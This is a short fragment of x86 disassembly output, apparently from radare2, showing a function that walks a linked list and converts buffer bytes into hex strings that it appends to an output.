mov word [esp + 0xd], ax
mov byte [esp + 0xf], al
movzx eax, byte [edi + esi + 0x194]
push eax
lea ecx, [esp + 0x10]
push str._.2x
push ecx
mov byte [esp + 0x18], 0
call fcn.00446b4d
lea eax, [esp + 0x18]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4054e2
sub eax, edx
push eax
lea edx, [esp + 0x10]
push edx
mov eax, ebx
call fcn.00402a10
inc esi
cmp esi, dword [edi + 0x190]
jb 0x4054b0
cmp dword [ebx + 0x14], 8
jae 0x40550e
mov edi, dword [ebp]
test edi, edi
jne 0x4054a0
pop edi
push ebp
call fcn.00446abf
add esp, 4
cmp dword [ebx + 0x14], 0
pop esi
setne al
pop ebp
add esp, 8
ret